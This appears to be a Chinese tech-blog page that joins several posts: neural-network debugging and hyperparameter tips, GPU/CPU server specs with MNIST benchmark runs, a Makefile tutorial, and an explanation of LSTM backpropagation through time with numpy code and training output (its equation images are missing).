2）解决你感兴趣的问题的最简单版本。 如果你正在做句子翻译，尝试首先为目标语言构建一个语言模型。当上一步成功了，只给出三个源语言的单词，尝试着去预测翻译的第一个词。如果你打算从图像中检测物体，训练回归网络之前试着去分类图像中有多少个物体。在获得一个确保网络可以解决的好的子问题，以及花费最少的时间来使用代码挂接数据之间存在着平衡点。创造力可以起到帮助作用。

为一个新的想法扩展网络的小技巧就是慢慢地缩小上述两步中所做的简化。这是坐标上升法的一种形式，而且十分有用。一开始，你可以证明这个网络可以记住少量的样本，然后可以证明它在一个简化版的子问题中可以在验证集上具有泛化能力。慢慢提升难度，稳步前进。这并不像第一次Karpathy的风格那么有趣，但至少它是有用的。有些时候你会发现有些问题本身十分困难，难以在2000次迭代内完成学习。这很棒！但是它很少需要以前那种难度级别问题迭代次数的十倍以上。如果真需要这么多次迭代，可以尝试寻找一个中间的复杂度。

调整超参数

既然你的网络现在开始学习东西了，你可能觉得很好。但你可能发现它不能解决这个问题中最困难的版本。超参数的调整就是其中的关键。也许有人仅仅下载了一个CNN包然后在上面跑自己的数据集，并告诉你超参数的调整并不会带来改变。你要认识到他们在用已有的框架解决已有的问题。如果你在使用新架构解决新问题，则必须调试超参数来获得一个良好的配置。你最好是为你的特定问题阅读一个超参数教程，但为了完整性我会在这里列出一些基本的想法：

• 可视化是关键。不要害怕花时间在整个训练过程中去写一些好用的可视化工具。如果你的可视化方法还是简单观察终端中的loss值变化，那你该考虑一下升级了。
• 权值初始化很重要。一般来说，大一点幅度的初始权值会好一些，但太大了就会导致NaNs。因此初始权值需要和学习率一起调整。
• 确保权值看起来是“健康的”。要了解这是什么意思，我推荐用ipython notebook打开现有网络的权值。花一些时间来熟悉在标准数据集（如ImageNet或Penn Tree Bank）上训练的成熟网络中的组件的权值直方图应该是什么样子。
• 神经网络不是输入尺度不变的，尤其当它使用SGD训练而不是其他的二阶方法训练时，因为SGD不是一个尺度不变的方法。在确定缩放尺度之前，花点时间来尝试多次缩放输入数据和输出标签。
• 在训练结束之前减小学习率总能带来提升。最佳的decay策略是：在k个epoch后，每n个epoch之后将学习率除以1.5，其中k > n。
• 使用超参数配置文件。虽然在你开始尝试不同的值之前把超参数放在代码中也是ok的。我通过命令行参数加载的方式使用json文件，就像 Russell91/TensorBox 中一样，但是具体的形式并不重要。避免总是要去重构你的代码，因为那将是超参数加载的糟糕问题。重构引入了bugs，花费你的训练周期，这种情况能够被避免直到你有一个你觉得不错的网络。
• 随机的搜索超参数，如果可以的话。随机搜索可以产生你想不到的超参数组合， 并且能减少很大工作量一旦你已经训练形成了对于给定超参数会带来什么样的影响的直觉。

总结

调试神经网络可能比调试传统程序更费精力，因为几乎所有错误都被投射到整个网络表现的单一维度。尽管如此，二分查找仍然起作用。通过交替1）调整问题的难度，和2）使用少量的训练样本，你可以快速解决最初的问题。然后超参数调整和长时间的等待就可以解决你剩下的问题了。

(转载请联系作者并注明出处，谢谢！)

一、GPU服务器

服务器 IP ：172.xx.xx.98 （4块NVIDIA TITAN X GPU，32 CPU核心）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

zhwhong@news-ai:~$ nvidia-smi
Mon Mar 13 14:30:39 2017       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |
| 22%   53C    P0    69W / 250W |      0MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |
| 22%   57C    P0    72W / 250W |      0MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |
| 22%   57C    P0    73W / 250W |      0MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |
|  0%   53C    P0    60W / 250W |      0MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID  Type  Process name                               Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

zhwhong@news-ai:~$ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                32
On-line CPU(s) list:   0-31
Thread(s) per core:    2
Core(s) per socket:    8
Socket(s):             2
NUMA node(s):          2
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 63
Stepping:              2
CPU MHz:               1201.218
BogoMIPS:              4800.94
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              20480K
NUMA node0 CPU(s):     0-7,16-23
NUMA node1 CPU(s):     8-15,24-31

使用 cat /proc/cpuinfo 命令可以查看每一个cpu核详细信息.

二、CPU服务器

服务器 IP ：113.xx.xxx.196 （纯CPU服务器，128核）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

mye@ubuntu:~$ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                128
On-line CPU(s) list:   0-127
Thread(s) per core:    1
Core(s) per socket:    16
Socket(s):             8
NUMA node(s):          8
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 63
Stepping:              4
CPU MHz:               1200.031
BogoMIPS:              4396.82
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              40960K
NUMA node0 CPU(s):     0-15
NUMA node1 CPU(s):     16-31
NUMA node2 CPU(s):     32-47
NUMA node3 CPU(s):     48-63
NUMA node4 CPU(s):     64-79
NUMA node5 CPU(s):     80-95
NUMA node6 CPU(s):     96-111
NUMA node7 CPU(s):     112-127

使用 cat /proc/cpuinfo 命令可以查看每一个cpu核详细信息.

三、mnist测试

• 测试代码： zhwhong/awesome-deep-learning/TensorFlow-Tutorials

(1)逻辑回归logistic测试

Example: 02_logistic_regression.py

测试结果：

a.batch_size : 128

b.batch_size : 256

c.batch_size : 512

GPU运行结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

zhwhong@news-ai:~/MNIST_test$ nvidia-smi
Mon Mar 13 15:13:32 2017       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |
| 22%   57C    P2    70W / 250W |  11664MiB / 12206MiB |     29%      Default |
+-------------------------------+----------------------+----------------------+
|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |
| 22%   58C    P2    71W / 250W |  11603MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |
| 22%   57C    P2    71W / 250W |  11603MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |
| 22%   55C    P2    75W / 250W |  11601MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID  Type  Process name                               Usage      |
|=============================================================================|
|    0     28564    C   python                                       11660MiB |
|    1     28564    C   python                                       11599MiB |
|    2     28564    C   python                                       11599MiB |
|    3     28564    C   python                                       11597MiB |
+-----------------------------------------------------------------------------+

CPU运行结果：

(2)卷积神经网络conv测试

Example : 05_convolutional_net.py

测试结果：

a.batch_size : 128

b.batch_size : 256

c.batch_size : 512

GPU运行结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

zhwhong@news-ai:~/MNIST_test$ nvidia-smi
Mon Mar 13 15:44:49 2017       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |
| 27%   70C    P2   192W / 250W |  11713MiB / 12206MiB |     90%      Default |
+-------------------------------+----------------------+----------------------+
|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |
| 22%   53C    P2    70W / 250W |  11603MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |
| 22%   45C    P2    69W / 250W |  11627MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |
| 22%   52C    P5    22W / 250W |  11601MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID  Type  Process name                               Usage      |
|=============================================================================|
|    0      9587    C   python                                       11709MiB |
|    1      9587    C   python                                       11599MiB |
|    2      1552    C   python                                         506MiB |
|    2      9587    C   python                                       11117MiB |
|    3      9587    C   python                                       11597MiB |
+-----------------------------------------------------------------------------+

CPU运行结果：

(3)循环神经网络lstm测试

Example : 07_lstm.py

测试结果：

batch_size : 512

GPU运行结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

zhwhong@news-ai:~/MNIST_test$ nvidia-smi
Mon Mar 13 16:05:19 2017       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |
| 22%   61C    P2    90W / 250W |    185MiB / 12206MiB |     40%      Default |
+-------------------------------+----------------------+----------------------+
|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |
| 22%   55C    P5    20W / 250W |    109MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |
| 22%   55C    P5    56W / 250W |    109MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |
| 22%   54C    P5    21W / 250W |    109MiB / 12206MiB |      0%      Default |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID  Type  Process name                               Usage      |
|=============================================================================|
|    0     17988    C   python                                         183MiB |
|    1     17988    C   python                                         107MiB |
|    2     17988    C   python                                         107MiB |
|    3     17988    C   python                                         107MiB |
+-----------------------------------------------------------------------------+

CPU运行结果：

注：关于训练中每个epoch时间统计，可以使用python datetime 模块，使用datetime.datetime.now() 获取系统时间。

代码变成可执行文件，叫做编译（compile）；先编译这个，还是先编译那个（即编译的安排），叫做构建（build）。

Make是最常用的构建工具，诞生于1977年，主要用于C语言的项目。但是实际上 ，任何只要某个文件有变化，就要重新构建的项目，都可以用Make构建。

本文介绍Make命令的用法，从简单的讲起，不需要任何基础，只要会使用命令行，就能看懂。我的参考资料主要是Isaac Schlueter的《Makefile文件教程》和《GNU Make手册》。

（题图：摄于博兹贾阿达岛，土耳其，2013年7月）

一、Make的概念

Make这个词，英语的意思是”制作”。Make命令直接用了这个意思，就是要做出某个文件。比如，要做出文件a.txt，就可以执行下面的命令。

1

$ make a.txt

但是，如果你真的输入这条命令，它并不会起作用。因为Make命令本身并不知道，如何做出a.txt，需要有人告诉它，如何调用其他命令完成这个目标。

比如，假设文件 a.txt 依赖于 b.txt 和 c.txt ，是后面两个文件连接（cat命令）的产物。那么，make 需要知道下面的规则。

1
2

a.txt: b.txt c.txt
    cat b.txt c.txt > a.txt

也就是说，make a.txt 这条命令的背后，实际上分成两步：第一步，确认 b.txt 和 c.txt 必须已经存在，第二步使用 cat 命令 将这个两个文件合并，输出为新文件。

像这样的规则，都写在一个叫做Makefile的文件中，Make命令依赖这个文件进行构建。Makefile文件也可以写为makefile， 或者用命令行参数指定为其他文件名。

1
2
3

$ make -f rules.txt
# 或者
$ make --file=rules.txt

上面代码指定make命令依据rules.txt文件中的规则，进行构建。

总之，make只是一个根据指定的Shell命令进行构建的工具。它的规则很简单，你规定要构建哪个文件、它依赖哪些源文件，当那些文件有变动时，如何重新构建它。

二、Makefile文件的格式

构建规则都写在Makefile文件里面，要学会如何Make命令，就必须学会如何编写Makefile文件。

2.1 概述

Makefile文件由一系列规则（rules）构成。每条规则的形式如下。

1
2

<target> : <prerequisites>
[tab]  <commands>

上面第一行冒号前面的部分，叫做”目标”（target），冒号后面的部分叫做”前置条件”（prerequisites）；第二行必须由一个tab键起首，后面跟着”命令”（commands）。

“目标”是必需的，不可省略；”前置条件”和”命令”都是可选的，但是两者之中必须至少存在一个。

每条规则就明确两件事：构建目标的前置条件是什么，以及如何构建。下面就详细讲解，每条规则的这三个组成部分。

2.2 目标（target）

一个目标（target）就构成一条规则。目标通常是文件名，指明Make命令所要构建的对象，比如上文的 a.txt 。目标可以是一个文件名，也可以是多个文件名，之间用空格分隔。

除了文件名，目标还可以是某个操作的名字，这称为”伪目标”（phony target）。

1
2

clean:
      rm *.o

上面代码的目标是clean，它不是文件名，而是一个操作的名字，属于”伪目标 “，作用是删除对象文件。

1

$ make  clean

但是，如果当前目录中，正好有一个文件叫做clean，那么这个命令不会执行。因为Make发现clean文件已经存在，就认为没有必要重新构建了，就不会执行指定的rm命令。

为了避免这种情况，可以明确声明clean是”伪目标”，写法如下。

1
2
3

.PHONY: clean
clean:
        rm *.o temp

声明clean是”伪目标”之后，make就不会去检查是否存在一个叫做clean的文件，而是每次运行都执行对应的命令。像.PHONY这样的内置目标名还有不少，可以查看手册。

如果Make命令运行时没有指定目标，默认会执行Makefile文件的第一个目标。

1

$ make

上面代码执行Makefile文件的第一个目标。

2.3 前置条件（prerequisites）

前置条件通常是一组文件名，之间用空格分隔。它指定了”目标”是否重新构建的判断标准：只要有一个前置文件不存在，或者有过更新（前置文件的last-modification时间戳比目标的时间戳新），”目标”就需要重新构建。

1
2

result.txt: source.txt
    cp source.txt result.txt

上面代码中，构建 result.txt 的前置条件是 source.txt 。如果当前目录中，source.txt 已经存在，那么make result.txt可以正常运行，否则必须再写一条规则，来生成 source.txt 。

1
2

source.txt:
    echo "this is the source" > source.txt

上面代码中，source.txt后面没有前置条件，就意味着它跟其他文件都无关，只要这个文件还不存在，每次调用make source.txt，它都会生成。

1
2

$ make result.txt
$ make result.txt

上面命令连续执行两次make result.txt。第一次执行会先新建 source.txt，然后再新建 result.txt。第二次执行，Make发现 source.txt 没有变动（时间戳晚于 result.txt），就不会执行任何操作，result.txt 也不会重新生成。

如果需要生成多个文件，往往采用下面的写法。

1

source: file1 file2 file3

上面代码中，source 是一个伪目标，只有三个前置文件，没有任何对应的命令。

1

$ make source

执行make source命令后，就会一次性生成 file1，file2，file3 三个文件。这比下面的写法要方便很多。

1
2
3

$ make file1
$ make file2
$ make file3

2.4 命令（commands）

命令（commands）表示如何更新目标文件，由一行或多行的Shell命令组成。它是构建”目标”的具体指令，它的运行结果通常就是生成目标文件。

每行命令之前必须有一个tab键。如果想用其他键，可以用内置变量.RECIPEPREFIX声明。

1
2
3

.RECIPEPREFIX = >
all:
> echo Hello, world

上面代码用.RECIPEPREFIX指定，大于号（>）替代tab键。所以，每一行命令的起首变成了大于号，而不是tab键。

需要注意的是，每行命令在一个单独的shell中执行。这些Shell之间没有继承关系。

1
2
3

var-lost:
    export foo=bar
    echo "foo=[$$foo]"

上面代码执行后（make var-lost），取不到foo的值。因为两行命令在两个不同的进程执行。一个解决办法是将两行命令写在一行，中间用分号分隔。

1
2

var-kept:
    export foo=bar; echo "foo=[$$foo]"

另一个解决办法是在换行符前加反斜杠转义。

1
2
3

var-kept:
    export foo=bar; \
    echo "foo=[$$foo]"

最后一个方法是加上.ONESHELL:命令。

1
2
3
4

.ONESHELL:
var-kept:
    export foo=bar;
    echo "foo=[$$foo]"

三、Makefile文件的语法

3.1 注释

井号（#）在Makefile中表示注释。

1
2
3
4

# 这是注释
result.txt: source.txt
    # 这是注释
    cp source.txt result.txt # 这也是注释

3.2 回声（echoing）

正常情况下，make会打印每条命令，然后再执行，这就叫做回声（echoing）。

1
2

test:
    # 这是测试

执行上面的规则，会得到下面的结果。

1
2

$ make test
# 这是测试

在命令的前面加上@，就可以关闭回声。

1
2

test:
    @# 这是测试

现在再执行make test，就不会有任何输出。

由于在构建过程中，需要了解当前在执行哪条命令，所以通常只在注释和纯显示的echo命令前面加上@。

1
2
3

test:
    @# 这是测试
    @echo TODO

3.3 通配符

通配符（wildcard）用来指定一组符合条件的文件名。Makefile 的通配符与 Bash 一致，主要有星号（*）、问号（？）和 […] 。比如， *.o 表示所有后缀名为o的文件。

1
2

clean:
        rm -f *.o

3.4 模式匹配

Make命令允许对文件名，进行类似正则运算的匹配，主要用到的匹配符是%。比如，假定当前目录下有 f1.c 和 f2.c 两个源码文件，需要将它们编译为对应的对象文件。

1

%.o: %.c

等同于下面的写法。

1
2

f1.o: f1.c
f2.o: f2.c

使用匹配符%，可以将大量同类型的文件，只用一条规则就完成构建。

3.5 变量和赋值符

Makefile 允许使用等号自定义变量。

1
2
3

txt = Hello World
test:
    @echo $(txt)

上面代码中，变量 txt 等于 Hello World。调用时，变量需要放在 $( ) 之中。

调用Shell变量，需要在美元符号前，再加一个美元符号，这是因为Make命令会对美元符号转义。

1
2

test:
    @echo $$HOME

有时，变量的值可能指向另一个变量。

1

v1 = $(v2)

上面代码中，变量 v1 的值是另一个变量 v2。这时会产生一个问题，v1 的值到底在定义时扩展（静态扩展），还是在运行时扩展（动态扩展）？如果 v2 的值是动态的，这两种扩展方式的结果可能会差异很大。

为了解决类似问题，Makefile一共提供了四个赋值运算符 （=、:=、？=、+=），它们的区别请看StackOverflow。

1
2
3
4
5
6
7
8

VARIABLE = value
# 在执行时扩展，允许递归扩展。
VARIABLE := value
# 在定义时扩展。
VARIABLE ?= value
# 只有在该变量为空时才设置值。
VARIABLE += value
# 将值追加到变量的尾端。

3.6 内置变量（Implicit Variables）

Make命令提供一系列内置变量，比如，$(CC) 指向当前使用的编译器，$(MAKE) 指向当前使用的Make工具。这主要是为了跨平台的兼容性，详细的内置变量清单见手册。

1
2

output:
    $(CC) -o output input.c

3.7 自动变量（Automatic Variables）

Make命令还提供一些自动变量，它们的值与当前规则有关。主要有以下几个。

（1）$@

$@指代当前目标，就是Make命令当前构建的那个目标。比如，make foo的 $@ 就指代foo。

1
2

a.txt b.txt:
    touch $@

等同于下面的写法。

1
2
3
4

a.txt:
    touch a.txt
b.txt:
    touch b.txt

（2）$<

$< 指代第一个前置条件。比如，规则为 t: p1 p2，那么$< 就指代p1。

1
2

a.txt: b.txt c.txt
    cp $< $@

等同于下面的写法。

1
2

a.txt: b.txt c.txt
    cp b.txt a.txt

（3）$?

$? 指代比目标更新的所有前置条件，之间以空格分隔。比如，规则为 t: p1 p2，其中 p2 的时间戳比 t 新，$?就指代p2。

（4）$^

$^ 指代所有前置条件，之间以空格分隔。比如，规则为 t: p1 p2，那么 $^ 就指代 p1 p2 。

（5）$*

$* 指代匹配符 % 匹配的部分， 比如% 匹配 f1.txt 中的f1 ，$* 就表示 f1。

（6）$(@D) 和 $(@F)

$(@D) 和 $(@F) 分别指向 $@ 的目录名和文件名。比如，$@是 src/input.c，那么$(@D) 的值为 src ，$(@F) 的值为 input.c。

（7）$(<D)和 $(<F)

$(<D) 和 $(<F) 分别指向 $< 的目录名和文件名。

所有的自动变量清单，请看手册。下面是自动变量的一个例子。

1
2
3

dest/%.txt: src/%.txt
    @[ -d dest ] || mkdir dest
    cp $< $@

上面代码将 src 目录下的 txt 文件，拷贝到 dest 目录下。首先判断 dest 目录是否存在，如果不存在就新建，然后，$< 指代前置文件（src/%.txt）， $@ 指代目标文件（dest/%.txt）。

3.8 判断和循环

Makefile使用 Bash 语法，完成判断和循环。

1
2
3
4
5

ifeq ($(CC),gcc)
  libs=$(libs_for_gcc)
else
  libs=$(normal_libs)
endif

上面代码判断当前编译器是否 gcc ，然后指定不同的库文件。

1
2
3
4
5
6
7
8
9
10

LIST = one two three
all:
    for i in $(LIST); do \
        echo $$i; \
    done
# 等同于
all:
    for i in one two three; do \
        echo $i; \
    done

上面代码的运行结果。

one
two
three

3.9 函数

Makefile 还可以使用函数，格式如下。

1
2
3

$(function arguments)
# 或者
${function arguments}

Makefile提供了许多内置函数，可供调用。下面是几个常用的内置函数。

（1）shell 函数

shell 函数用来执行 shell 命令

1

srcfiles := $(shell echo src/{00..99}.txt)

（2）wildcard 函数

wildcard 函数用来在 Makefile 中，替换 Bash 的通配符。

1

srcfiles := $(wildcard src/*.txt)

（3）替换函数

替换函数的写法是：变量名 + 冒号 + 替换规则。

1

min: $(OUTPUT:.js=.min.js)

上面代码的意思是，将变量OUTPUT中的 .js 全部替换成 .min.js 。

四、Makefile 的实例

（1）执行多个目标

1
2
3
4
5
6
7

.PHONY: cleanall cleanobj cleandiff
cleanall : cleanobj cleandiff
        rm program
cleanobj :
        rm *.o
cleandiff :
        rm *.diff

上面代码可以调用不同目标，删除不同后缀名的文件，也可以调用一个目标（cleanall），删除所有指定类型的文件。

（2）编译C语言项目

1
2
3
4
5
6
7
8
9
10
11
12
13

edit : main.o kbd.o command.o display.o
    cc -o edit main.o kbd.o command.o display.o
main.o : main.c defs.h
    cc -c main.c
kbd.o : kbd.c defs.h command.h
    cc -c kbd.c
command.o : command.c defs.h command.h
    cc -c command.c
display.o : display.c defs.h
    cc -c display.c
clean :
     rm edit main.o kbd.o command.o display.o
.PHONY: edit clean

今天，Make命令的介绍就到这里。

• 参考：阮一峰] - MAKE命令教程

• 参考：Nico’s Blog - Simple LSTM
• Github代码：https://github.com/zhwhong/lstm

前面我们介绍过CNN中普通的BP反向传播算法的推导，但是在RNN（比如LSTM）中，反向传播被称作BPTT（Back Propagation Through Time），它是和时间序列有关的。

A few weeks ago I released some code on Github to help people understand how LSTM’s work at the implementation level. The forward pass is well explained elsewhere and is straightforward to understand, but I derived the backprop equations myself and the backprop code came without any explanation whatsoever. The goal of this post is to explain the so called backpropagation through time in the context of LSTM’s.

If you feel like anything is confusing, please post a comment below or submit an issue on Github.

Note: this post assumes you understand the forward pass of an LSTM network, as this part is relatively simple. Please read this great intro paper if you are not familiar with this, as it contains a very nice intro to LSTM’s. I follow the same notation as this paper so I recommend reading having the tutorial open in a separate browser tab for easy reference while reading this post.

Introduction (Simple LSTM)

The forward pass of an LSTM node is defined as follows:

(注：这里最后一个式子h(t)的计算，普遍认为s(t)前面还有一个tanh激活，然后再乘以o(t)，不过 peephole LSTM paper中建议此处激活函数采用 f(x) = x，所以这里就没有用tanh（下同），可以参见Wiki - Long_short-term_memory上面所说的)

By concatenating the x(t) and h(t-1) vectors as follows:

we can rewrite parts of the above as follows:

Suppose we have a loss l(t) that we wish to minimize at every time step t that depends on the hidden layer h and the label y at the current time via a loss function f:

where f can be any differentiable loss function, such as the Euclidean loss:

Our ultimate goal in this case is to use gradient descent to minimize the loss L over an entire sequence of length T：

Let’s work through the algebra of computing the loss gradient:

where w is a scalar parameter of the model (for example it may be an entry in the matrix W_gx). Since the loss l(t) = f(h(t),y(t)) only depends on the values of the hidden layer h(t) and the label y(t), we have by the chain rule:

where h_i(t) is the scalar corresponding to the i’th memory cell’s hidden output and M is the total number of memory cells. Since the network propagates information forwards in time, changing h_i(t) will have no effect on the loss prior to time t, which allows us to write:

For notational convenience we introduce the variable L(t) that represents the cumulative loss from step tonwards:

such that L(1) is the loss for the entire sequence. This allows us to rewrite the above equation as:

With this in mind, we can rewrite our gradient calculation as:

Make sure you understand this last equation. The computation of dh_i(t) / dw follows directly follows from the forward propagation equations presented earlier. We now show how to compute dL(t) / dh_i(t) which is where the so called backpropagation through time comes into play.

Backpropagation through time (BPTT)

This variable L(t) allows us to express the following recursion:

Hence, given activation h(t) of an LSTM node at time t, we have that:

Now, we know where the first term on the right hand side dl(t) / dh(t) comes from: it’s simply the elementwise derivative of the loss l(t) with respect to the activations h(t) at time t. The second term dL(t+1) / dh(t) is where the recurrent nature of LSTM’s shows up. It shows that the we need the next node’s derivative information in order to compute the current current node’s derivative information. Since we will ultimately need to compute dL(t) / dh(t) for all t = 1, 2, ... , T, we start by computing

and work our way backwards through the network. Hence the term backpropagation through time. With these intuitions in place, we jump into the code.

Code (Talk is cheap, Show me the code)

We now present the code that performs the backprop pass through a single node at time 1 <= t <= T. The code takes as input:

And computes:

whose values will need to be propagated backwards in time. The code also adds derivatives to:

since recall that we must sum the derivatives from each time step:

Also, note that we use:

where we recall that X_c(t) = [x(t), h(t-1)]. Without any further due, the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

def top_diff_is(self, top_diff_h, top_diff_s):
    # notice that top_diff_s is carried along the constant error carousel
    ds = self.state.o * top_diff_h + top_diff_s
    do = self.state.s * top_diff_h
    di = self.state.g * ds
    dg = self.state.i * ds
    df = self.s_prev * ds
    # diffs w.r.t. vector inside sigma / tanh function
    di_input = (1. - self.state.i) * self.state.i * di
    df_input = (1. - self.state.f) * self.state.f * df
    do_input = (1. - self.state.o) * self.state.o * do
    dg_input = (1. - self.state.g ** 2) * dg
    # diffs w.r.t. inputs
    self.param.wi_diff += np.outer(di_input, self.xc)
    self.param.wf_diff += np.outer(df_input, self.xc)
    self.param.wo_diff += np.outer(do_input, self.xc)
    self.param.wg_diff += np.outer(dg_input, self.xc)
    self.param.bi_diff += di_input
    self.param.bf_diff += df_input
    self.param.bo_diff += do_input
    self.param.bg_diff += dg_input
    # compute bottom diff
    dxc = np.zeros_like(self.xc)
    dxc += np.dot(self.param.wi.T, di_input)
    dxc += np.dot(self.param.wf.T, df_input)
    dxc += np.dot(self.param.wo.T, do_input)
    dxc += np.dot(self.param.wg.T, dg_input)
    # save bottom diffs
    self.state.bottom_diff_s = ds * self.state.f
    self.state.bottom_diff_x = dxc[:self.param.x_dim]
    self.state.bottom_diff_h = dxc[self.param.x_dim:]

Details

The forward propagation equations show that modifying s(t) affects the loss L(t) by directly changing the values of h(t) as well as h(t+1). However, modifying s(t) affects L(t+1) only by modifying h(t+1). Therefore, by the chain rule:

Since the forward propagation equations state:

we get that:

Putting all this together we have:

1

ds = self.state.o * top_diff_h + top_diff_s

The rest of the equations should be straightforward to derive, please let me know if anything is unclear.

Test LSTM Network

此 代码 其是通过自己实现 lstm 网络来逼近一个序列，y_list = [-0.5, 0.2, 0.1, -0.5]，测试结果如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

cur iter:  0
y_pred[0] : 0.041349
y_pred[1] : 0.069304
y_pred[2] : 0.116993
y_pred[3] : 0.165624
loss:  0.753483886253
cur iter:  1
y_pred[0] : -0.223297
y_pred[1] : -0.323066
y_pred[2] : -0.394514
y_pred[3] : -0.433984
loss:  0.599065083953
cur iter:  2
y_pred[0] : -0.140715
y_pred[1] : -0.181836
y_pred[2] : -0.219436
y_pred[3] : -0.238904
loss:  0.445095565699
cur iter:  3
y_pred[0] : -0.138010
y_pred[1] : -0.166091
y_pred[2] : -0.203394
y_pred[3] : -0.233627
loss:  0.428061605701
cur iter:  4
y_pred[0] : -0.139986
y_pred[1] : -0.157368
y_pred[2] : -0.195655
y_pred[3] : -0.237612
loss:  0.413581711096
cur iter:  5
y_pred[0] : -0.144410
y_pred[1] : -0.151859
y_pred[2] : -0.191676
y_pred[3] : -0.246137
loss:  0.399770442382
cur iter:  6
y_pred[0] : -0.150306
y_pred[1] : -0.147921
y_pred[2] : -0.189501
y_pred[3] : -0.257119
loss:  0.386136380384
cur iter:  7
y_pred[0] : -0.157119
y_pred[1] : -0.144659
y_pred[2] : -0.188067
y_pred[3] : -0.269322
loss:  0.372552465753
cur iter:  8
y_pred[0] : -0.164490
y_pred[1] : -0.141537
y_pred[2] : -0.186737
y_pred[3] : -0.281914
loss:  0.358993892096
cur iter:  9
y_pred[0] : -0.172187
y_pred[1] : -0.138216
y_pred[2] : -0.185125
y_pred[3] : -0.294326
loss:  0.345449256686
cur iter:  10
y_pred[0] : -0.180071
